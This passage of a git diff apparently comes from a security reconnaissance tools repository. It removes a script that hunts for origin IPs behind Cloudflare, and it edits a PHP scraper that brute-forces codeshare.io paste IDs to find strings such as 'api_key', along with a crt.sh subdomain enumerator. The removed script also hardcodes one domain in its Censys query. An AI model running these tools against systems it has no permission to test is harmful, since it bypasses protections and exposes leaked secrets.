%s" % e, 'red') ) - if ex == 0 and r.status_code == 200: - n = 0 - j = r.json() - for item in j: - parse = tldextract.extract( item['name_value'] ) - sub = item['name_value'].replace( '*.', '' ) - if sub != domain and not sub in t_subs: - t_subs.append( sub ) - try: - ex = 0 - data = socket.gethostbyname( sub ) - if not data in t_ips: - n = n + 1 - t_ips.append( data ) - except Exception as e: - ex = 1 - print( colored("[+] %d subdomains found, %d ips added" % (len(t_subs),n), 'green') ) - - -def grabIPfromCensys( domain ): - print( "[+] Grabbing ips from Censys: %s" % domain ) - query = {"query":domain} - headers = {"Content-Type":"application/json"} - try: - ex = 0 - r = requests.get( CENSYS_API_URL+'/v2/hosts/search?q=deciplus.pro', headers=headers, auth=(CENSYS_UID,CENSYS_SECRET) ) - except Exception as e: - ex = 1 - print( colored("[-] error occurred: %s" % e, 'red') ) - if ex == 0 and r.status_code == 200: - j = r.json() - print( colored("[+] %d ips added" % len(j['result']), 'green') ) - if int(j['code']) == 200 and j['status'] == 'OK' and type(j['result']) is dict and len(j['result'])>0 and type(j['result']['hits']) is list and len(j['result']['hits'])>0: - for i in j['result']['hits']: - t_ips.append( i['ip'] ) - -def readIPfromFile( domain, ipsrc ): - print( "[+] Reading datas from file: %s" % ipsrc ) - n = 0 - s = 0 - f = open( ipsrc, 'r' ) - for ip in f: - if domain in ip: - try: - ex = 0 - s = s + 1 - ip = socket.gethostbyname( ip.strip() ) - except Exception as e: - ex = 1 - ip = '' - - ip = ip.strip() - if ip != '' and not ip in t_ips: - n = n + 1 - t_ips.append( ip ) - print( colored("[+] %d subdomains found, %d ips added" % (s,n), 'green') ) - - -# def is_cloudflare( ip ): -# for r in r_cloudflare: -# ipn = IPNetwork( r ) -# if ip in list(ipn): -# return 1 -# return 0 - -def is_cloudflare2( ip ): - ip = IP2Int( str(ip) ) - for r in r_cloudflare2: - if ip >= r[0] and ip <= r[1]: - return 1 - return 0 - - -# def testBypass( r_reference, ip, host ): -# u = 'https://' + ip -# headers = {"Host":host} -# try: -# ex = 0 -# r = requests.get( u, headers=headers, timeout=REQUEST_TIMEOUT, verify=False ) -# except Exception as e: -# ex = 1 -# print( colored("[-] %s: %s" % (ip,e), 'red') ) -# if ex == 0: -# if not 'Content-Type' in r.headers: -# r.headers['Content-Type'] = '' -# score = responseCompare( r_reference, r ) -# if score['average'] > GOOD_CANDIDATE_SCORE: -# sys.stdout.write( colored("%s" % ip, 'green') ) -# sys.stdout.write( " is a GOOD candidate with an average similarity of %d%%\n" % score['average'] ) -# else: -# sys.stdout.write( "%s" % ip ) -# sys.stdout.write( " is not a good candidate with an average similarity of %d%%\n" % score['average'] ) -# print( colored("Status=%d (%d%%), Length=%d (%d%%), Headers=%d (%d%%), Content-Type=%s (%d%%)" % (r.status_code,score['dist_status_code'],len(r.content),score['dist_content'],len(r.headers),score['dist_headers'],r.headers['Content-Type'],score['dist_content_type']), 'white') ) - - -# def testBypass2( t_multiproc, r_reference, host, ip ): -# sys.stdout.write( 'progress: %d/%d\r' % (t_multiproc['n_current'],t_multiproc['n_total']) ) -# t_multiproc['n_current'] = t_multiproc['n_current'] + 1 - -# u = 'https://' + ip -# headers = {"Host":host} -# headers.update( t_headers ) - -# try: -# r = requests.get( u, headers=headers, timeout=REQUEST_TIMEOUT, verify=False ) -# except Exception as e: -# print( colored("[-] %s: %s" % (ip,e), 'red') ) -# return - -# if not 'Content-Type' in r.headers: -# r.headers['Content-Type'] = '' - -# score = responseCompare( r_reference, r ) - -# if score['average'] > GOOD_CANDIDATE_SCORE: -# if is_cloudflare2( IPAddress(ip) ): -# sys.stdout.write( colored("%s" % ip, 'yellow') ) -# sys.stdout.write( " is CloudFlare\n" ) -# else: -# sys.stdout.write( colored("%s" % ip, 'green') ) -# sys.stdout.write( " is a GOOD candidate with an average similarity of %d%%\n" % score['average'] ) -# else: -# sys.stdout.write( "%s" % ip ) -# sys.stdout.write( " is not a good candidate with an average similarity of %d%%\n" % score['average'] ) - -# print( colored("Status=%d (%d%%), Length=%d (%d%%), Headers=%d (%d%%), Content-Type=%s (%d%%)" % (r.status_code,score['dist_status_code'],len(r.content),score['dist_content'],len(r.headers),score['dist_headers'],r.headers['Content-Type'],score['dist_content_type']), 'white') ) - - -def testBypass3( t_multiproc, r_reference, host, ip ): - sys.stdout.write( 'progress: %d/%d\r' % (t_multiproc['n_current'],t_multiproc['n_total']) ) - t_multiproc['n_current'] = t_multiproc['n_current'] + 1 - - if is_cloudflare2( IPAddress(ip) ): - sys.stdout.write( colored("%s" % ip, 'yellow') ) - sys.stdout.write( " is CloudFlare\n" ) - return - - u = 'https://' + ip - headers = {"Host":host} - headers.update( t_headers ) - - try: - r = requests.get( u, headers=headers, timeout=REQUEST_TIMEOUT, verify=False ) - except Exception as e: - print( colored("[-] %s: %s" % (ip,e), 'red') ) - return - - if not 'Content-Type' in r.headers: - r.headers['Content-Type'] = '' - - score = responseCompare( r_reference, r ) - - if score['average'] > GOOD_CANDIDATE_SCORE: - sys.stdout.write( colored("%s" % ip, 'green') ) - sys.stdout.write( " is a GOOD candidate with an average similarity of %d%%\n" % score['average'] ) - else: - sys.stdout.write( "%s" % ip ) - sys.stdout.write( " is not a good candidate with an average similarity of %d%%\n" % score['average'] ) - - print( colored("Status=%d (%d%%), Length=%d (%d%%), Headers=%d (%d%%), Content-Type=%s (%d%%)" % (r.status_code,score['dist_status_code'],len(r.content),score['dist_content'],len(r.headers),score['dist_headers'],r.headers['Content-Type'],score['dist_content_type']), 'white') ) - - -def responseCompare( r_reference, r ): - score = { - 'dist_status_code': 0, - 'dist_content_type': 0, - 'dist_content': 0, - 'dist_headers': 0, - 'average': 0 - } - - if r.status_code == r_reference.status_code: - score['status_code'] = 'OK' - score['dist_status_code'] = 100 - else: - score['status_code'] = 'NOK' - score['dist_status_code'] = 0 - - dist = levenshtein( r.headers['Content-Type'], r_reference.headers['Content-Type'] ) - score['dist_content_type'] = 100 - ( dist*100 / len(r_reference.headers['Content-Type']) ) - - dist = levenshtein( r.content[0:COMPARE_FIRST_CHARS], r_reference.content[0:COMPARE_FIRST_CHARS] ) - score['dist_content'] = 100 - ( dist*100 / len(r_reference.content[0:COMPARE_FIRST_CHARS]) ) - # score['content_dist'] = dist - - s_headers = '' - s_reference_headers = '' - t_sorted_keys = sorted( r_reference.headers ) - - for k in t_sorted_keys: - if not k in t_exclude_headers: - s_reference_headers = s_reference_headers + k + '=' + r_reference.headers[k] + ';;' - if k in r.headers: - s_headers = s_headers + k + '=' + r.headers[k] + ';;' - else: - s_headers = s_headers + k + '=;;' - - # print( s_reference_headers ) - # print( s_headers ) - dist = levenshtein( s_headers, s_reference_headers ) - score['dist_headers'] = 100 - ( dist*100 / len(s_reference_headers) ) - - score['average'] = score['dist_status_code'] + score['dist_content_type'] + score['dist_content'] + score['dist_headers'] - score['average'] = score['average'] / 4; - - return score - - -if not url.startswith( 'http' ): - url = 'https://'+url -t_url_parse = parse.urlparse( url ) -# t_url_parse = urlparse( url ) -t_host_parse = tldextract.extract( t_url_parse.netloc ) -domain = host = t_host_parse.domain + '.' + t_host_parse.suffix -if len(t_host_parse.subdomain): - host = t_host_parse.subdomain + '.' + host -# print( t_url_parse ) -# print( t_host_parse ) - -t_ips = [] -t_subs = [] - -for s in t_sources: - if s != 'crtsh' and s!= 'censys': - if not os.path.isfile( s ): - print( colored("[-] source file not found: %s" % s, 'red') ) - else: - readIPfromFile( domain, s ) - -if 'crtsh' in t_sources: - grabSubs( domain ) - -if 'censys' in t_sources: - grabIPfromCensys( domain ) - -t_ips = set( t_ips ) -t_ips_cloudflare = [] -t_ips_notcloudflare = [] -t_headers = { - 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0', -} - -print( "[+] %d unique ips collected" % len(t_ips) ) - -if len(t_ips) == 0: - exit() - -print( "[+] Performing reference request..." ) -try: - r_reference = requests.get( url, timeout=3, verify=False, headers=t_headers ) - if not 'Content-Type' in r_reference.headers: - r_reference.headers['Content-Type'] = '' -except Exception as e: - print( colored("[-] error occured: %s" % e, 'red') ) - exit() - -print( colored("Status=%d, Length=%d, Headers=%d, Content-Type=%s" % (r_reference.status_code,len(r_reference.content),len(r_reference.headers),r_reference.headers['Content-Type']), 'cyan') ) -print( "[+] Testing bypass..." ) - - - -###################################### VERSION 3 ###################################### - -t_multiproc = { - 'n_current': 0, - 'n_total': len(t_ips) -} - -pool = Pool( MAX_THREADS ) -pool.map( partial(testBypass3,t_multiproc,r_reference,host), t_ips ) -pool.close() -pool.join() - -exit() - - -###################################### VERSION 2 ###################################### - -for ip in set(t_ips): - if is_cloudflare2( IPAddress(ip) ): - t_ips_cloudflare.append( ip ) - print( colored("%s" % ip, 'red') ) - else: - t_ips_notcloudflare.append( ip ) - testBypass( r_reference, ip, host ) - -exit() - - -###################################### SLOW OLD VERSION ###################################### - -print( "[+] Checking Cloudflare... (cpu killer)" ) - -for ip in set(t_ips): - if is_cloudflare2( IPAddress(ip) ): - t_ips_cloudflare.append( ip ) - print( colored("%s" % ip, 'white') ) - else: - t_ips_notcloudflare.append( ip ) - print( "%s" % ip ) - -print( colored("[*] %d Cloudflare ips detected" % len(t_ips_cloudflare), 'white') ) -# for ip in t_ips_cloudflare: -# print( colored(ip,'white') ) -print( colored("[+] %d ips not Cloudflare" % len(t_ips_notcloudflare), 'green') ) -# for ip in t_ips_notcloudflare: -# print( ip ) - -if TEST_BYPASS: - print( "[+] Performing reference request..." ) - try: - r_reference = requests.get( url, timeout=3, verify=False ) - if not 'Content-Type' in r_reference.headers: - r_reference.headers['Content-Type'] = '' - except Exception as e: - print( colored("[-] error occured: %s" % e, 'red') ) - exit() - print( colored("Status=%d, Length=%d, Headers=%d, Content-Type=%s" % (r_reference.status_code,len(r_reference.content),len(r_reference.headers),r_reference.headers['Content-Type']), 'cyan') ) - print( "[+] Testing bypass..." ) - t_threads = [] - for ip in t_ips_notcloudflare: - testBypass( r_reference, ip, host ) diff --git a/codeshare.php b/codeshare.php index 0dc871c..0298cf6 100644 --- a/codeshare.php +++ b/codeshare.php @@ -57,7 +57,7 @@ function create_ids( $q ) $t_ids = []; $t_alphabet = 'abcdefghijklmnupqrstovwxyzABCDEFGHIJKLMNOPRSTUVWXYZ0123456789'; $l = strlen($t_alphabet) - 1; - + for( $i=0 ; $i<$q ; $i++ ) { $id = ''; for( $j=0 ; $j<$len_id ; $j++ ) { @@ -76,7 +76,7 @@ function test_single( $_string ) $url = 'https://codeshare.io/'.$id[0]; //echo $url."\n"; //exit(); - + $c = curl_init(); curl_setopt( $c, CURLOPT_URL, $url ); curl_setopt( $c, CURLOPT_CONNECTTIMEOUT, 3 ); @@ -90,7 +90,7 @@ function test_single( $_string ) //exit(); $url = $url ." (".strlen($datas).")\n"; - + /*if( $t_infos['http_code'] != 200 ) { //output( $url, 'light_grey' ); ; @@ -124,7 +124,7 @@ function test_ids( $_string ) if( $n_child < $max_child ) { $pid = pcntl_fork(); - + if( $pid == -1 ) { // fork error } elseif( $pid ) { @@ -144,7 +144,7 @@ function test_ids( $_string ) usleep( 5000 ); } - + while( $n_child ) { // surely leave the loop please :) sleep( 1 ); @@ -163,7 +163,7 @@ function signal_handler( $signal, $pid=null, $status=null ) if( !$pid ){ $pid = pcntl_waitpid( -1, $status, WNOHANG ); } - + // Get all exited children while( $pid > 0 ) { @@ -182,10 +182,10 @@ function signal_handler( $signal, $pid=null, $status=null ) // Store it to handle when the parent process is ready $t_signal_queue[$pid] = $status; } - + $pid = pcntl_waitpid( -1, $status, WNOHANG ); } - + return true; } @@ -195,7 +195,7 @@ function usage( $err=null ) { echo "Options:\n"; echo "\t-s\tstring to search\n"; echo "\t-t\tthreads, default 10\n"; - echo "\nRecommended: php codeshare.php -s api_key -t 50"; + echo "\nRecommended: php codeshare.php -s 'tesla.com' -t 50"; echo "\n"; if( $err ) { echo 'Error: '.$err."!\n"; diff --git a/cors.py b/cors.py index 1b6306c..e0b2e6a 100755 --- a/cors.py +++ b/cors.py @@ -1,8 +1,5 @@ #!/usr/bin/python3 -# I don't believe in license. -# You can do whatever you want with this program. - import os import sys import re diff --git a/crlf.py b/crlf.py index 554bc61..6bb0422 100755 --- a/crlf.py +++ b/crlf.py @@ -1,8 +1,5 @@ #!/usr/bin/python3 -# I don't believe in license. -# You can do whatever you want with this program. - import os import sys import re diff --git a/crtsh.php b/crtsh.php index fe32f6d..1dc8fca 100755 --- a/crtsh.php +++ b/crtsh.php @@ -1,34 +1,34 @@ #!/usr/bin/php =0 ; $i-- ) { - $domain = $tmp[$i].'.'.$domain; - if( strlen($tmp[$i]) > 3 ) { - break; - } - } +// $domain = $tmp[$cnt-1]; - return $domain; -} +// for( $i=$cnt-2 ; $i>=0 ; $i-- ) { +// $domain = $tmp[$i].'.'.$domain; +// if( strlen($tmp[$i]) > 3 ) { +// break; +// } +// } + +// return $domain; +// } function usage( $err=null ) { @@ -45,45 +45,63 @@ function usage( $err=null ) { $t_host = []; $domain = $_SERVER['argv'][1]; -$src = 'https://crt.sh/?q=%25.'.$domain; -$html = file_get_contents( $src ); -//echo $html; - -$doc = new DOMDocument(); -$doc->preserveWhiteSpace = false; -@$doc->loadHTML( $html ); - -$xpath = new DOMXPath( $doc ); -$table = $xpath->query( '//table' ); -//var_dump($table->length); - -if( $table->length >= 3 ) -{ - $row = $xpath->query( 'tr', $table[2] ); - //var_dump( $row->length ); - - foreach( $row as $r ) { - $column = $xpath->query( 'td', $r ); - //var_dump( $column->length ); - if( $column->length == 6 ) { - $h = str_replace( '*.', '', trim($column[4]->nodeValue) ); - if( isSubdomain($h) && extractDomain($h) == $domain ) { - $t_host[] = $h; - } - } - } +$src = 'https://crt.sh/?output=json&q=%25.'.$domain; +$json = file_get_contents( $src ); +if( strlen($json) ) { + $t_json = json_decode( $json, true); } +// var_dump($t_json); + +$t_subs = []; +foreach( $t_json as $sub ) { + if( isset($sub['name_value']) && !in_array($sub['name_value'],$t_subs)) { + $t_subs[] = $sub['name_value']; + } +} + +sort($t_subs); -if( count($t_host) ) -{ - $t_host = array_unique( $t_host ); - sort( $t_host ); - - foreach( $t_host as $h ) { - echo $h."\n"; - } +foreach( $t_subs as $s ) { + echo $s."\n"; } -exit( 0 ); +exit(); + +// $doc = new DOMDocument(); +// $doc->preserveWhiteSpace = false; +// @$doc->loadHTML( $html ); + +// $xpath = new DOMXPath( $doc ); +// $table = $xpath->query( '//table' ); +// //var_dump($table->length); + +// if( $table->length >= 3 ) +// { +// $row = $xpath->query( 'tr', $table[2] ); +// //var_dump( $row->length ); + +// foreach( $row as $r ) { +// $column = $xpath->query( 'td', $r ); +// //var_dump( $column->length ); +// if( $column->length == 6 ) { +// $h = str_replace( '*.', '', trim($column[4]->nodeValue) ); +// if( isSubdomain($h) && extractDomain($h) == $domain ) { +// $t_host[] = $h; +// } +// } +// } +// } + +// if( count($t_host) ) +// { +// $t_host = array_unique( $t_host ); +// sort( $t_host ); + +// foreach( $t_host as $h ) { +// echo $h."\n"; +// } +// } + +// exit( 0 ); ?> \ No newline at end of file diff --git a/csp-analyzer.py b/csp-analyzer.py deleted file mode 100755 index 809f382..0000000 --- a/csp-analyzer.py +++ /dev/null @@ -1,215 +0,0 @@ -#!/usr/bin/python3 - -import sys -import requests -import urllib.parse -from colored import fg, bg, attr - -import tldextract - - -def banner(): - print(""" - _ - ___ ___ _ __ __ _ _ __ __ _| |_ _ _______ _ __ _ __ _ _ - / __/ __| '_ \ / _` | '_ \ / _` | | | | |_ / _ \ '__| | '_ \| | | | - | (__\__ \ |_) | | (_| | | | | (_| | | |_| |/ / __/ | _ | |_) | |_| | - \___|___/ .__/ \__,_|_| |_|\__,_|_|\__, /___\___|_| (_) | .__/ \__, | - |_| |___/ |_| |___/ - - by @gwendallecoguic - -""") - pass - -banner() - - -# Sources: -# https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy -# https://content-security-policy.com/ - -t_help = { - "child-src": "Defines the valid sources for web workers and nested browsing contexts loaded using elements such as and